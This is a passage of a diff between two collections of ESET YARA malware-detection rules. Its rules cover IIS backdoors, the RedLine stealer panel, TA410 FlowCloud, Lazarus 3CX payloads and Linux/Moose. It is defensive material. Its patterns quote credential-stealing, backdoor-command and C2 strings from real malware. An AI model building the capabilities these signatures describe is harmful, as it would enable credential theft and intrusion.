%.128s port %05d user: %.128s password: %.128s" + $driver1 = "\\Driver\\kbdclass" wide + $driver2 = "\\Driver\\mouclass" wide + $device1 = "\\Device\\KeyboardClass0" wide + $device2 = "\\Device\\PointerClass0" wide + $driver3 = "\\Driver\\tcpip" wide + $device3 = "\\Device\\tcp" wide + $driver4 = "\\Driver\\nsiproxy" wide + $device4 = "\\Device\\Nsi" wide + $reg1 = "\\Registry\\Machine\\SYSTEM\\Setup\\AllowStart\\ceipCommon" wide + $reg2 = "RHH%d" wide + $reg3 = "RHP%d" wide + $s1 = "\\SystemRoot\\System32\\drivers\\hidmouse.sys" wide condition: - any of them + uint16( 0 ) == 0x5a4d and all of ( $s1 , $reg* ) and ( all of ( $driver* ) or all of ( $device* ) ) } -rule ESET_IIS_Group02 + +rule ESET_Apt_Windows_TA410_Flowcloud_V5_Resources : FILE { meta: - description = "Detects Group 2 native IIS malware family" + description = "Matches sequence of PE resource IDs found in TA410 FlowCloud version 5.0.2" author = "ESET Research" - id = "945e3748-1072-55f3-abaa-903dfc250294" - date = "2021-08-04" - modified = "2021-08-04" + id = "05a233f0-a823-5154-a47d-cede722d4710" + date = "2021-10-12" + modified = "2022-04-27" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/badiis/badiis.yar#L134-L155" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L699-L720" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "3fa2b8fed3c580f446b55412a920a5cfed2317b06aa93d059e9f89fdbec8f683" + logic_hash = "58f75dda53c6d4b3d88f464c452d855ac6dc88add5f4fba2641f52e7a1ae00ed" score = 75 - quality = 76 - tags = "" + quality = 80 + tags = "FILE" license = "BSD 2-Clause" version = "1" - strings: - $s1 = "HttpModule.pdb" ascii wide - $s2 = "([\\w+%]+)=([^&]*)" - $s3 = "([\\w+%]+)=([^!]*)" - $s4 = "cmd.exe" - $s5 = "C:\\Users\\Iso\\Documents\\Visual Studio 2013\\Projects\\IIS 5\\x64\\Release\\Vi.pdb" ascii wide - $s6 = "AVRSAFunction" - condition: - ESET_IIS_Native_Module_PRIVATE and 3 of ( $s* ) + uint16( 0 ) == 0x5a4d and pe.number_of_resources >= 13 and for 12 resource in pe.resources : ( resource.type == 10 and resource.language == 1033 and ( resource.name_string == "1\x000\x000\x00" or resource.name_string == "1\x000\x000\x000\x00" or resource.name_string == "1\x000\x000\x000\x000\x00" or resource.name_string == "1\x000\x000\x001\x00" or resource.name_string == "1\x000\x001\x00" or resource.name_string == "1\x000\x002\x00" or resource.name_string == "1\x000\x003\x00" or resource.name_string == "1\x000\x004\x00" or resource.name_string == "1\x000\x005\x00" or resource.name_string == "1\x000\x006\x00" or resource.name_string == "1\x000\x007\x00" or resource.name_string == "1\x000\x008\x00" or resource.name_string == "1\x000\x009\x00" or resource.name_string == "1\x001\x000\x00" or resource.name_string == "2\x000\x000\x000\x00" or resource.name_string == "2\x000\x000\x001\x00" ) ) } -rule ESET_IIS_Group03 + +rule ESET_Apt_Windows_TA410_Flowcloud_V4_Resources : FILE { meta: - description = "Detects Group 3 native IIS malware family" + description = "Matches sequence of PE resource IDs found in TA410 FlowCloud version 4.1.3" author = "ESET Research" - id = "9caf9b3e-611e-5e0e-a7ee-9e7515679022" - date = "2021-08-04" - modified = "2021-08-04" + id = "57b98823-439f-5a2c-a8cb-ac5e98953b06" + date = "2021-10-12" + modified = "2022-04-27" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/badiis/badiis.yar#L157-L176" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L722-L741" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "d811c2ac610780bf968e86e8fd302cffc9434902e547399d06fdeb30d1719f51" + logic_hash = "7b475cfddb5f995f7e8e3293b8e6ae59a9e36143998bc444499b5dce467f8e9d" score = 75 quality = 80 - tags = "" + tags = "FILE" license = "BSD 2-Clause" version = "1" - strings: - $s1 = "IIS-Backdoor.dll" - $s2 = "CryptStringToBinaryA" - $s3 = "CreateProcessA" - $s4 = "X-Cookie" - condition: - ESET_IIS_Native_Module_PRIVATE and 3 of ( $s* ) + uint16( 0 ) == 0x5a4d and pe.number_of_resources >= 6 and for 5 resource in pe.resources : ( resource.type == 10 and resource.language == 1033 and ( resource.name_string == "1\x000\x000\x000\x000\x00" or resource.name_string == "1\x000\x000\x000\x001\x00" or resource.name_string == "1\x000\x000\x000\x002\x00" or resource.name_string == "1\x000\x000\x000\x003\x00" or resource.name_string == "1\x000\x000\x000\x004\x00" or resource.name_string == "1\x000\x000\x000\x005\x00" or resource.name_string == "1\x000\x001\x000\x000\x00" ) ) } -rule ESET_IIS_Group04_Rgdoor +rule ESET_Cw_Windows_Redline_Panel_Tab_Headers : FILE { meta: - description = "Detects Group 4 native IIS malware family (RGDoor)" + description = "Matches view headers in Redline Panel" author = "ESET Research" - id = "64a0e664-a4d9-555b-a11b-5f7d9d0678b1" - date = "2021-08-04" - modified = "2021-08-04" + id = "44a95845-b0a3-59c1-8188-86d415eff0bf" + date = "2022-10-11" + modified = "2024-11-12" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/badiis/badiis.yar#L178-L199" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/redline/redline.yar#L32-L55" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "be615dc0cc8bf0fd52cc5a88a3759c1cb1cd18703de74d16f5cce3eabccf91c6" + hash = "a154dfaedc237c047f419eb6884dab1ef4e2a17d" + logic_hash = "3198aa9df2814a5f1d5568c6eed5f3189b2f72b3928cc97645f9bf57eebab9ac" score = 75 quality = 80 - tags = "" + tags = "FILE" license = "BSD 2-Clause" - version = "1" + version = 2 strings: - $i1 = "RGSESSIONID=" - $s2 = "upload$" - $s3 = "download$" - $s4 = "cmd$" - $s5 = "cmd.exe" + $ = "RedLine | Log In" + $ = "RedLine | Autofilles Viewer" + $ = "RedLine | Choose Browser" + $ = "RedLine | Cookie Viewer" + $ = "RedLine | Credit Card Viewer" + $ = "RedLine | Files Viewer" + $ = "RedLine | Log saver" + $ = "RedLine | System Info Viewer" condition: - ESET_IIS_Native_Module_PRIVATE and ( $i1 or all of ( $s* ) ) + uint16( 0 ) == 0x5A4D and 6 of them } -rule ESET_IIS_Group05_Iistealer +rule ESET_Cw_Windows_Redline_Panel_Distinctive_Strings : FILE { meta: - description = "Detects Group 5 native IIS malware family (IIStealer)" + description = "Matches rare strings found in Redline panel" author = "ESET Research" - id = "598ec6b2-0349-5da7-acad-72ef2468b927" - date = "2021-08-04" - modified = "2021-08-04" + id = "d40ccb6b-e777-5c05-b97c-ead910047649" + date = "2022-10-11" + modified = "2024-11-12" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/badiis/badiis.yar#L201-L232" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/redline/redline.yar#L57-L77" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "5dff445121fda59df805d6fcb5db3f8f8e52a6e63e2da2a6875f8c9ad9cafc72" + hash = "a154dfaedc237c047f419eb6884dab1ef4e2a17d" + logic_hash = "7ff0239426c4c3b46a269fad71232295c038c09f276cdc3c7f1142c830260a6d" score = 75 quality = 80 - tags = "" + tags = "FILE" license = "BSD 2-Clause" - version = "1" + version = 2 strings: - $s1 = "tojLrGzFMbcDTKcH" ascii wide - $s2 = "4vUOj3IutgtrpVwh" ascii wide - $s3 = "SoUnRCxgREXMu9bM" ascii wide - $s4 = "9Zr1Z78OkgaXj1Xr" ascii wide - $s5 = "cache.txt" ascii wide - $s6 = "/checkout/checkout.aspx" ascii wide - $s7 = "/checkout/Payment.aspx" ascii wide - $s8 = "/privacy.aspx" - $s9 = "X-IIS-Data" - $s10 = "POST" - $s11 = {C7 ?? CF 2F 00 63 00 C7 ?? D3 68 00 65 00 C7 ?? D7 63 00 6B 00 C7 ?? DB 6F 00 75 00 C7 ?? DF 74 00 2F 00 C7 ?? E3 63 00 68 00 C7 ?? E7 65 00 63 00 C7 ?? EB 6B 00 6F 00 C7 ?? EF 75 00 74 00 C7 ?? F3 2E 00 61 00 C7 ?? F7 73 00 70 00 C7 ?? FB 78 00 00 00} - $s12 = {C7 ?? AF 2F 00 70 00 C7 ?? B3 72 00 69 00 C7 ?? B7 76 00 61 00 C7 ?? BB 63 00 79 00 C7 ?? BF 2E 00 61 00 C7 ?? C3 73 00 70 00 C7 ?? C7 78 00 00 00} + $env_var = "%DSK_23%" + $fn_name = "IsGratherThan" + $telegram0 = "Telegram: @REDLINESUPPORT" + $telegram1 = "https://t.me/REDLINESUPPORT" condition: - ESET_IIS_Native_Module_PRIVATE and 3 of ( $s* ) + uint16( 0 ) == 0x5A4D and any of them } -rule ESET_IIS_Group06_ISN +rule ESET_Cw_Windows_Redline_Panel_Prompts : FILE { meta: - description = "Detects Group 6 native IIS malware family (ISN)" + description = "Matches prompt messages in Redline panel" author = "ESET Research" - id = "1f68fc42-61a3-5a7d-9daa-31ae3b561837" - date = "2021-08-04" - modified = "2021-08-04" + id = "3481586b-ed4b-5a27-82a0-0bbb3eea279e" + date = "2022-10-11" + modified = "2024-11-12" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/badiis/badiis.yar#L234-L259" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/redline/redline.yar#L79-L113" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "2f59034a642a9b92fc88922433cd5923be02332159cba5e16d99d9523ed43205" + hash = "a154dfaedc237c047f419eb6884dab1ef4e2a17d" + logic_hash = "0dfab05a9383ba13b3c610f1ab0c81e95804470002f27171ab39706f7723983a" score = 75 quality = 80 - tags = "" + tags = "FILE" license = "BSD 2-Clause" - version = "1" + version = 2 strings: - $s1 = "isn7 config reloaded" - $s2 = "isn7 config NOT reloaded, not found or empty" - $s3 = "isn7 log deleted" - $s4 = "isn7 log not deleted, ERROR 0x%X" - $s5 = "isn7 log NOT found" - $s6 = "isn_reloadconfig" - $s7 = "D:\\soft\\Programming\\C++\\projects\\isapi\\isn7" - $s8 = "get POST failed %d" - $s9 = "isn7.dll" + $ = "Choose directory to save log" + $ = "Select log to set comment" + $ = "Please enter an action to create new task" + $ = "Please enter a target to create new task" + $ = "Please enter a final point to create new task" + $ = "Please enter a correct action to create new task" + $ = "Please enter a correct final point to create new task" + $ = "Please enter an action to edit task" + $ = "Please enter a target to edit task" + $ = "Please enter a final point to edit task" + $ = "Please enter a correct action to edit task" + $ = "Please enter a correct final point to edit task" + $ = "Please enter a correct status to edit task" + $ = "Please, enter a domains" + $ = "Please, enter a valid server ip" + $ = "Choose a file to pump" + $ = "Enter a valid count of bytes" + $ = "Enter a valid count of bytes. Must be more then zero" + $ = "Disconnected. Reboot your panel" condition: - ESET_IIS_Native_Module_PRIVATE and 3 of ( $s* ) + uint16( 0 ) == 0x5A4D and 10 of them } -rule ESET_IIS_Group07_Iispy +rule ESET_Cw_Windows_Redline_Panel_Status_Message_Strings : FILE { meta: - description = "Detects Group 7 native IIS malware family (IISpy)" + description = "Matches error/success messages in Redline panel" author = "ESET Research" - id = "64ed0189-a0be-5592-b9c6-1622700a7ed7" - date = "2021-08-04" - modified = "2021-08-04" + id = "70bdff10-9c86-57e3-b839-e86173a44855" + date = "2022-10-11" + modified = "2024-11-12" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/badiis/badiis.yar#L261-L296" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/redline/redline.yar#L115-L142" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "ec5db5f36d06f9b0bdfe598fc72431da35afc1473dcc29f437a0f48ea9835a03" + hash = "a154dfaedc237c047f419eb6884dab1ef4e2a17d" + logic_hash = "c60fabc81967b083be72ff564af744ab60441de5d563ea6d88d873c0a99bfbdd" score = 75 quality = 80 - tags = "" + tags = "FILE" license = "BSD 2-Clause" - version = "1" + version = 1 strings: - $s1 = "/credential/username" - $s2 = "/credential/password" - $s3 = "/computer/domain" - $s4 = "/computer/name" - $s5 = "/password" - $s6 = "/cmd" - $s7 = "%.8s%.8s=%.8s%.16s%.8s%.16s" - $s8 = "ImpersonateLoggedOnUser" - $s9 = "WNetAddConnection2W" - $t1 = "X-Forwarded-Proto" - $t2 = "Sec-Fetch-Mode" - $t3 = "Sec-Fetch-Site" - $t4 = "Cookie" - $t5 = {49 45 4E 44 AE 42 60 82} - $t6 = {89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52} + $ = "All Browsers are empty" + $ = "Client [{0}:{1}:{2}] completed task with {3} ID." + $ = "A List of logs cleared" + $ = "Browsers not found" + $ = "Browsers is empty" + $ = "Done. Check your build file" + $ = "You must to enable assembly info or certificate in settings" + $ = "Duplicate log from " + $ = "Password list is empty" + $ = "Cookie list is empty" + $ = "FTPs not found" + $ = "Files not found" condition: - ESET_IIS_Native_Module_PRIVATE and 2 of ( $s* ) and any of ( $t* ) + uint16( 0 ) == 0x5A4D and 8 of them } -rule ESET_IIS_Group08 +rule ESET_Cw_Windows_Redline_Panel_Commands : FILE { meta: - description = "Detects Group 8 native IIS malware family" + description = "Matches commands and functionalities in Redline panel" author = "ESET Research" - id = "d0e9a5ec-b7f0-5d3f-93b4-d048503eb210" - date = "2021-08-04" - modified = "2021-08-04" + id = "b479dc47-53a0-5ead-a4c3-bcdfcaf82ef8" + date = "2022-10-11" + modified = "2024-11-12" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/badiis/badiis.yar#L298-L337" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/redline/redline.yar#L144-L172" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "d5826d454d25ecbbb5da464da974023a247517d873cf10dc0eafa91e185451da" + hash = "a154dfaedc237c047f419eb6884dab1ef4e2a17d" + logic_hash = "724516101264aa89259e847e4703d4eb993f330f82bd2df2433176b11d0c8974" score = 75 - quality = 53 - tags = "" + quality = 55 + tags = "FILE" license = "BSD 2-Clause" - version = "1" + version = 2 strings: - $i1 = "FliterSecurity.dll" - $i2 = "IIS7NativeModule.dll" - $i3 = "Ver1.0." - $s1 = "Cmd" - $s2 = "Realy path : %s" - $s3 = "Logged On Users : %d" - $s4 = "Connect OK!" - $s5 = "You are fucked!" - $s6 = "Shit!Error" - $s7 = "Where is the God!!" - $s8 = "Shit!Download False!" - $s9 = "Good!Run OK!" - $s10 = "Shit!Run False!" - $s11 = "Good!Download OK!" - $s12 = "[%d]safedog" - $s13 = "ed81bfc09d069121" - $s14 = "a9478ef01967d190" - $s15 = "af964b7479e5aea2" - $s16 = "1f9e6526bea65b59" - $s17 = "2b9e9de34f782d31" - $s18 = "33cc5da72ac9d7bb" - $s19 = "b1d71f4c2596cd55" - $s20 = "101fb9d9e86d9e6c" + $cmd0 = "Download" + $cmd1 = "RunPE" + $cmd2 = "DownloadAndEx" + $cmd3 = "OpenLink" + $cmd4 = "Cmd" + $action0 = "GrabBrowsers" + $action1 = "GrabFiles" + $action2 = "GrabImClients" + $action3 = "AntiDuplicate" + $action4 = "grabBrowsers" + $action5 = "grabFiles" + $action6 = "grabImClients" + $action7 = "antiDuplicate" condition: - ESET_IIS_Native_Module_PRIVATE and 1 of ( $i* ) and 3 of ( $s* ) + uint16( 0 ) == 0x5A4D and all of ( $cmd* ) and 4 of ( $action* ) } -rule ESET_IIS_Group09 + +rule ESET_Richheaders_Lazarus_Nukesped_Iconicpayloads_3CX_Q12023 { meta: - description = "Detects Group 9 native IIS malware family" + description = "Rich Headers-based rule covering the IconicLoader and IconicStealer from the 3CX supply chain incident, and also payloads from the cryptocurrency campaigns from 2022-12" author = "ESET Research" - id = "69d176bc-73b1-5c4d-bb7e-463d26e8e6a9" - date = "2021-08-04" - modified = "2021-08-04" - reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/badiis/badiis.yar#L339-L387" + id = "5c815d14-8a3e-5c6a-9dc3-988e0f31c094" + date = "2023-03-31" + modified = "2023-04-19" + reference = "https://github.com/eset/malware-ioc" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/nukesped_lazarus/rich_headers_IconicPayloads_3CX.yar#L6-L23" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "5f89f9488221b8db8d493b3c23b7f5edd957c15511148eca890558886c128192" + hash = "3b88cda62cdd918b62ef5aa8c5a73a46f176d18b" + hash = "cad1120d91b812acafef7175f949dd1b09c6c21a" + hash = "5b03294b72c0caa5fb20e7817002c600645eb475" + hash = "7491bd61ed15298ce5ee5ffd01c8c82a2cdb40ec" + logic_hash = "f11a1db798bfcc534982bdf6afaae154b095b6a1e0896e75e2791c01e51a1c16" score = 75 - quality = 76 + quality = 80 tags = "" - license = "BSD 2-Clause" - version = "1" - - strings: - $i1 = "FliterSecurity.dll" - $i2 = {56565656565656565656565656565656} - $i3 = "app|hot|alp|svf|fkj|mry|poc|doc|20" xor - $i4 = "yisouspider|yisou|soso|sogou|m.sogou|sogo|sogou|so.com|baidu|bing|360" xor - $i5 = "baidu|m.baidu|soso|sogou|m.sogou|sogo|sogou|so.com|google|youdao" xor - $i6 = "118|abc|1go|evk" xor - $s1 = "AVCFuckHttpModuleFactory" - $s2 = "X-Forward" - $s3 = "fuck32.dat" - $s4 = "fuck64.dat" - $s5 = "&ipzz1=" - $s6 = "&ipzz2=" - $s7 = "&uuu=" - $s8 = "http://20.3323sf.c" xor - $s9 = "http://bj.whtjz.c" xor - $s10 = "http://bj2.wzrpx.c" xor - $s11 = "http://cs.whtjz.c" xor - $s12 = "http://df.e652.c" xor - $s13 = "http://dfcp.yyphw.c" xor - $s14 = "http://es.csdsx.c" xor - $s15 = "http://hz.wzrpx.c" xor - $s16 = "http://id.3323sf.c" xor - $s17 = "http://qp.008php.c" xor - $s18 = "http://qp.nmnsw.c" xor - $s19 = "http://sc.300bt.c" xor - $s20 = "http://sc.wzrpx.c" xor - $s21 = "http://sf2223.c" xor - $s22 = "http://sx.cmdxb.c" xor - $s23 = "http://sz.ycfhx.c" xor - $s24 = "http://xpq.0660sf.c" xor - $s25 = "http://xsc.b1174.c" xor condition: - ESET_IIS_Native_Module_PRIVATE and any of ( $i* ) and 3 of ( $s* ) + pe.rich_signature.toolid( 259 , 30818 ) == 9 and pe.rich_signature.toolid ( 256 , 31329 ) == 1 and pe.rich_signature.toolid ( 261 , 30818 ) >= 30 and pe.rich_signature.toolid ( 261 , 30818 ) <= 38 and pe.rich_signature.toolid ( 261 , 29395 ) >= 134 and pe.rich_signature.toolid ( 261 , 29395 ) <= 164 and pe.rich_signature.toolid ( 257 , 29395 ) >= 6 and pe.rich_signature.toolid ( 257 , 29395 ) <= 14 } -rule ESET_IIS_Group10 +rule ESET_Dino { meta: - description = "Detects Group 10 native IIS malware family" - author = "ESET Research" - id = "31368b38-9128-594d-888d-e97d3edc7a1f" - date = "2021-08-04" - modified = "2021-08-04" + description = "No description has been set in the source file - ESET" + author = "ESET TI" + id = "77d0a039-f60c-59ea-bad6-5b4b630007bb" + date = "2015-07-14" + modified = "2015-08-17" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/badiis/badiis.yar#L389-L423" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/animalfarm/animalfarm.yar#L73-L96" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "48701168d7da726222227ef757f1a4005a49c0bf300123319ce03db09445b3ef" + logic_hash = "898e527eb8b05050135dee7cbe974100710a1a3a6a5cb8eb03563ee1c0aca01f" score = 75 quality = 80 tags = "" - license = "BSD 2-Clause" - version = "1" + Author = "Joan Calvet" + Description = "Dino backdoor" + Contact = "github@eset.com" + License = "BSD 2-Clause" strings: - $s1 = "IIS7.dll" - $s2 = "(.*?)title(.*?)>" - $s3 = "<meta(.*?)name(.*?)=(.*?)keywords(.*?)>" - $s4 = "<meta(.*?)name(.*?)=(.*?)description(.*?)>" - $s5 = "js.breakavs.co" - $s6 = "微信群-赛车PK10群【进群微信fun57644】_幸运飞艇_幸运28群" - $s7 = "北京赛车微信群,北京微信赛车群,北京赛车微信群,PK10群,北京赛车pk10微信群,PK10微信群,赛车微信群,北京赛车群," - $s8 = "北京赛车微信群,北京微信赛车群【进群微信号fun57644】北京微信赛车群,北京微信赛车" - $e1 = "Baiduspider" - $e2 = "Sosospider" - $e3 = "Sogou web spider" - $e4 = "360Spider" - $e5 = "YisouSpider" - $e6 = "sogou.com" - $e7 = "soso.com" - $e8 = "uc.cn" - $e9 = "baidu.com" - $e10 = "sm.cn" + $ = "PsmIsANiceM0du1eWith0SugarInsideA" + $ = "destroyPSM" + $ = "FM_PENDING_DOWN_%X" + $ = "%s was canceled after %d try (reached MaxTry parameter)" + $ = "you forgot value name" + $ = "wakeup successfully scheduled in %d minutes" + $ = "BD started at %s" + $ = "decyphering failed on bd" condition: - ESET_IIS_Native_Module_PRIVATE and 2 of ( $e* ) and 3 of ( $s* ) + any of them } -rule ESET_IIS_Group11 +rule ESET_Prikormka { meta: - description = "Detects Group 11 native IIS malware family" - author = "ESET Research" - id = "e9dac67a-1675-5198-ad26-d555696844f9" - date = "2021-08-04" - modified = "2021-08-04" + description = "No description has been set in the source file - ESET" + author = "ESET TI" + id = "6073aa34-d385-5ae8-b97d-9b3d61015aae" + date = "2016-05-10" + modified = "2019-08-28" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/badiis/badiis.yar#L425-L455" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/groundbait/prikormka.yar#L130-L141" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "a67b6b49b5fc2c7f260c06201c59478f5472de63091c510af82d526c410abb0c" + logic_hash = "f64195e680fbaefedba248aa15b37ed30ba72f42958cc48963a140165e951bff" score = 75 quality = 80 tags = "" - license = "BSD 2-Clause" - version = "1" - - strings: - $s1 = "DnsQuery_A" - $s2 = "&reurl=" - $s3 = "&jump=1" - $s4 = "JVVRaeof" - $s5 = "ncpmg::0" - $s6 = "zkpzz0cnnuqwnw0eqo" - $s7 = "jvvr<11yyy0cnnuqwnw0eqo130rjrAeofqwv?" + Author = "Anton Cherepanov" + Description = "Operation Groundbait" + Contact = "threatintel@eset.com" + License = "BSD 2-Clause" condition: - ESET_IIS_Native_Module_PRIVATE and 3 of ( $s* ) + ESET_Prikormkadropper_PRIVATE or ESET_Prikormkamodule_PRIVATE or ESET_Prikormkaearlyversion_PRIVATE } -rule ESET_IIS_Group12 +rule ESET_Moose_1 { meta: - description = "Detects Group 12 native IIS malware family" - author = "ESET Research" - id = "7278f2df-d18a-5d95-9c21-37906629a7f0" - date = "2021-08-04" - modified = "2021-08-04" + description = "No description has been set in the source file - ESET" + author = "ESET TI" + id = "4d228de6-ddbf-57c0-a330-5840c4d40dfc" + date = "2015-04-21" + modified = "2016-11-01" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/badiis/badiis.yar#L457-L495" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/moose/linux-moose.yar#L41-L76" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "8da03328e3702aff8ea5de77fc220f326030c31972d27c0bd9b5918dca550aba" + logic_hash = "8bedac80a1f754ce56294ba9786b62a002aacd074f756724401efc61def127e6" score = 75 - quality = 78 + quality = 30 tags = "" - license = "BSD 2-Clause" - version = "1" + Author = "Thomas Dupuy" + Description = "Linux/Moose malware" + Contact = "github@eset.com" + License = "BSD 2-Clause" strings: - $s1 = "C:\\inetpub\\temp\\IIS Temporary Compressed Files\\" - $s2 = "F5XFFHttpModule.dll" - $s3 = "gtest_redir" - $s4 = "\\cmd.exe" nocase - $s5 = "iuuq;00" - $s6 = "?xhost=" - $s7 = "&reurl=" - $s8 = "?jump=1" - $s9 = "app|zqb" - $s10 = "ifeng|ivc|sogou|so.com|baidu|google|youdao|yahoo|bing|118114|biso|gougou|sooule|360|sm|uc" - $s11 = "sogou|so.com|baidu|google|youdao|yahoo|bing|gougou|sooule|360|sm.cn|uc" - $s12 = "Hotcss/|Hotjs/" - $s13 = "HotImg/|HotPic/" - $s14 = "msf connect error !!" - $s15 = "download ok !!" - $s16 = "download error !! " - $s17 = "param error !!" - $s18 = "Real Path: " - $s19 = "unknown cmd !" - $b1 = {15 BD 01 2E [-] 5E 40 08 97 [-] CF 8C BE 30 [-] 28 42 C6 3B} - $b2 = {E1 0A DC 39 [-] 49 BA 59 AB [-] BE 56 E0 57 [-] F2 0F 88 3E} + $s0 = "Status: OK" + $s1 = "--scrypt" + $s2 = "stratum+tcp://" + $s3 = "cmd.so" + $s4 = "/Challenge" + $s7 = "processor" + $s9 = "cpu model" + $s21 = "password is wrong" + $s22 = "password:" + $s23 = "uthentication failed" + $s24 = "sh" + $s25 = "ps" + $s26 = "echo -n -e " + $s27 = "chmod" + $s28 = "elan2" + $s29 = "elan3" + $s30 = "chmod: not found" + $s31 = "cat /proc/cpuinfo" + $s32 = "/proc/%s/cmdline" + $s33 = "kill %s" condition: - ESET_IIS_Native_Module_PRIVATE and 5 of them + ESET_Is_Elf_PRIVATE and all of them } -rule ESET_IIS_Group13_Iiserpent +rule ESET_Moose_2 { meta: - description = "Detects Group 13 native IIS malware family (IISerpent)" - author = "ESET Research" - id = "f22dffb1-466f-5a7b-b9aa-de7ba991db1a" - date = "2021-08-04" - modified = "2021-08-04" - reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/badiis/badiis.yar#L497-L523" + description = "No description has been set in the source file - ESET" + author = "ESET TI" + id = "74372984-dace-5665-a5d0-39b8d1002fa1" + date = "2016-10-02" + modified = "2016-11-01" + reference = "http://www.welivesecurity.com/2016/11/02/linuxmoose-still-breathing/" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/moose/linux-moose.yar#L78-L110" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "7077b842c53ee1581ad4150cdfaac3502bfc0fbd3b823190ad648e09f36e442d" + logic_hash = "3f50d2d81d4c27e44d93804adcf93971017767ed0e020447cdb343931c2fbc43" score = 75 quality = 80 tags = "" - license = "BSD 2-Clause" - version = "1" + Author = "Thomas Dupuy" + Description = "Linux/Moose malware active since September 2015" + Contact = "github@eset.com" + License = "BSD 2-Clause" strings: - $s1 = "/mconfig/lunlian.txt" - $s2 = "http://sb.qrfy.ne" - $s3 = "folderlinkpath" - $s4 = "folderlinkcount" - $s5 = "onlymobilespider" - $s6 = "redirectreferer" - $s7 = "loadSuccessfull : " - $s8 = "spider" - $s9 = "<a href=" - $s11 = "?ReloadModuleConfig=1" - $s12 = "?DisplayModuleConfig=1" + $s1 = "Modules are loaded" + $s2 = "--scrypt" + $s3 = "http://" + $s4 = "https://" + $s5 = "processor " + $s6 = "cpu model " + $s7 = "Host: www.challpok.cn" + $s8 = "Cookie: PHPSESSID=%s; nhash=%s; chash=%s" + $s9 = "fail!" + $s10 = "H3lL0WoRlD" + $s11 = "crondd" + $s12 = "cat /proc/cpuinfo" + $s13 = "Set-Cookie: PHPSESSID=" + $s14 = "Set-Cookie: LP=" + $s15 = "Set-Cookie: WL=" + $s16 = "Set-Cookie: CP=" + $s17 = "Loading modules..." + $s18 = "-nobg" condition: - ESET_IIS_Native_Module_PRIVATE and 5 of them + ESET_Is_Elf_PRIVATE and 5 of them } -rule ESET_IIS_Group14 +rule ESET_Mumblehard_Packer { meta: - description = "Detects Group 14 native IIS malware family" - author = "ESET Research" - 